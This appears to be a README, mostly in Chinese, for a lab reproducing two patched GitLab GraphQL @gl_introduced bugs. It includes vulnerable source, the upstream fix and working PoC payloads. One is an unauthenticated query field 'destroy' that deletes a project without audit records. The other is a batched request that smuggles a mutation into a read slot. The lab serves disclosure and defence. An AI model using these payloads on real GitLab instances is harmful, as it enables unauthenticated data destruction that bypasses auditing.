@gl_introduced 版本过滤器漏洞一个复现实验室,用于复现 GitLab GraphQL 版本过滤器功能(@gl_introduced 指令)中的两个相关漏洞。这两个漏洞位于同一功能区域,由同一个上游补丁修复,且都允许 GraphQL 请求进入其从未声明的代码路径:
destroy),
只需命名一个不存在的字段并为其标记 @gl_introduced。docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
src/ 下的所有内容均为上游源码原样保留,绝无重新实现——加载器会将 src/vuln
或 src/patched 叠加在 src/common 之上。
Gitlab::Graphql::VersionFilter::FutureFieldFallback 允许查询引用某个类型上尚不
存在的字段而不导致请求失败——这是为滚动部署设计的:在滚动部署中,旧节点的 schema
尚未包含新节点已经提供的字段。它的 get_field 重写会检查所请求的字段是否缺失
并且请求被标记为 contain_future_fields,如果是,则返回一个合成字段而不是抛
出异常:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
问题在于:这个 GraphQL::Schema::Field 在构建时没有 resolver 方法、没有 resolver
类、也没有 block。随后应用的是 graphql-ruby 自身的默认字段解析逻辑(graphql gem
2.6.3,lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym 是字段名经过下划线转换后的形式——也就是攻击者在查询中放入的字符串。
如果 GraphQL 类型背后的对象(ActiveRecord 模型)恰好有一个同名的真实零参数公共方
法,graphql-ruby 就会调用它并返回其(类型强转后的)结果。fallback_value: nil 仅
在方法确实不存在时生效——它无法阻止真实方法被调用。
因此:对任意类型查询一个以真实破坏性方法命名的字段——例如 destroy——并为其标记
@gl_introduced 使其能存活到执行阶段,该方法就会被执行。
IntroducedTracer 通过两个 graphql-ruby 跟踪钩子实现版本过滤器功能的其余部分——
parse(每个操作一次)和 execute_query(每个操作一次)。在易受攻击的构建版本
中,它把每个操作的状态存放在跟踪对象的普通实例变量中:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
问题在于:graphql-ruby 在 multiplex 请求的每个操作之间共享同一个跟踪实例,并且 会在执行任何操作之前先解析所有操作。 因此在一个双操作批量请求中:
parse(op1) → @original_query_document = op1_doc,@contain_future_fields = falseparse(op2) → @original_query_document = op2_doc,@contain_future_fields = true
(op2 携带一个 @gl_introduced 未来字段)解析完成后,只有最后一个操作的状态得以保留。随后进入执行阶段:
execute_query(op1) → 标志为 true,因此 op1 的文档被 op2_doc 覆盖并重新
准备 → op1 的槽位执行了 op2 的操作。op1 声明的是读取,执行的却是 op2 的写入。
patch-19.2.2-to-19.2.4.diff 同时修复了这两个问题:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
无需 Authorization 头。单个操作,无批量。destroy 不是 Project 上的真实字段
——它在 schema 中根本不存在——但该指令使 FutureFieldFilter 在静态校验之前将其剥
离,并使 contain_future_fields 在执行阶段生效。此时 get_field 返回一个名为
destroy 且没有 resolver 的字段,graphql-ruby 便会调用
project.public_send(:destroy)。
已在真实环境验证(evidence/live_vuln_fallback_field.txt,对三个独立的临时项目各
复现一次):对公共项目发送后,响应为 {"data":{"project":{"id":"...","destroy":true}}}。
随后通过已认证的 REST 检查(GET /api/v4/projects/:id)返回 404——项目确实已被
删除。该调用的请求日志显示 9 次同步数据库写入和 0 条新增 AuditEvent 记录:该调用
完全绕过了 Projects::DestroyService(连同审计跟踪、webhook 和通知)——这是通过
GraphQL 默认字段解析直接调用的原始 ActiveRecord#destroy 级联。
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Op2 载荷——@gl_introduced 指令只需放在一个真实字段上,以便在解析时使
FutureFieldFilter 翻转 contain_future_fields 并启用交换:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
已在真实环境验证(evidence/live_vuln.txt):声明了 query { currentUser { username } }
的槽位 1 返回 {"data":{"starProject":{"count":"0"}}},该项目的星标数从 1 → 0。
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
该脚本通过已认证的 REST API 创建一个临时公共项目(仅用于准备阶段),发送一条未认
证的 GraphQL 查询,查询中包含一个标记了 @gl_introduced 的 destroy 字段,然后
通过已认证的 REST 重新检查该项目。如果项目已被删除,则判定为 VULNERABLE。
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
该脚本读取星标状态的基线,发送双操作批量请求,如果声明为读取的槽位 1 返回了
starProject 载荷(且/或星标数发生变化),则判定为 VULNERABLE。
在一个极简的 graphql-ruby 应用中隔离 Gitlab::Graphql::VersionFilter,从而在没有任
何 GitLab 干扰的情况下直观看到交换过程。加载的是真实的上游源码。
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
两种攻击向量都已在真实环境中针对 gitlab/gitlab-ce:19.2.2-ce.0 得到确认。由于它
们触及 GitLab 技术栈的不同层次,因此具有不同的授权暴露面。
无需令牌、无需批量,仅一条查询。响应直接返回方法的执行结果("destroy": true),
底层记录确实被销毁——已通过已认证的 REST(404)以及服务器端证据(0 条
AuditEvent 记录、单请求内 9 次同步写入)确认,这意味着它完全绕过了 GitLab 正常
的删除服务。已对三个独立的临时项目独立复现三次。任何其底层对象暴露了真实零参数破
坏性方法的 GraphQL 类型都是潜在目标。
使用任何具有 api 权限范围的令牌,一个声明为读取的操作会执行一个它从未请求过
的写入(星标数 1 → 0,由 query 类型的槽位驱动)。无令牌发送时,交换仍然
会触发——读取槽位确实会到达并解析 starProject——但每个 GitLab mutation 都继承
自 Mutations::BaseMutation,其 self.authorized? 门控在执行时运行:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
匿名请求的 current_user 为 nil,GlobalPolicy 会执行
rule { anonymous }.policy { prevent :execute_graphql_mutation }。在无认证条件下扫
测了 10 种批量排列组合(操作顺序、指令位于字段/子字段/内联片段上、双操作与三操作
批量):被劫持的槽位每次都撞上门控,星标数从未发生变化。
该门控仅针对 mutation——它对于 1a 没有任何约束力,因为 1a 完全不涉及
Mutations::BaseMutation;回退字段作为普通的 query 类型字段直接对模型进行解析,整
个解析路径中没有任何授权检查。
src/common/demo_app.rb 完全没有授权层——它的 mutation 只是执行写入。因此
PoC #3 在一个无认证的沙盒中演示了交换机制(读取槽位执行写入)。真实 GitLab 会强
制执行该演示所省略的 execute_graphql_mutation 门控——特别是针对 1b。在这个官方构
建版本上,仅通过 1b 无法在无凭据的情况下实现由 mutation 驱动的写入;但它可以通过
1a 实现,而 1a 完全不需要 mutation。
升级到 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 或更高版本。该修复(参见 diff)做了两件
事:future_field_fallback.rb 为回退字段提供了显式 resolver(Resolvers::NilResolver,
始终返回 nil),不再依赖 graphql-ruby 的默认方法分发,从而修复了 1a;
introduced_tracer.rb 将跟踪器的每操作状态限定到每个操作各自的文档,取代共享的实
例变量,从而修复了 1b。
| 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| 修复版本 | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| 实验目标 | gitlab/gitlab-ce:19.2.2-ce.0(修复前最后一个构建版本) |
| 触发条件 | GraphQL @gl_introduced 指令,单独使用或置于批量请求中 |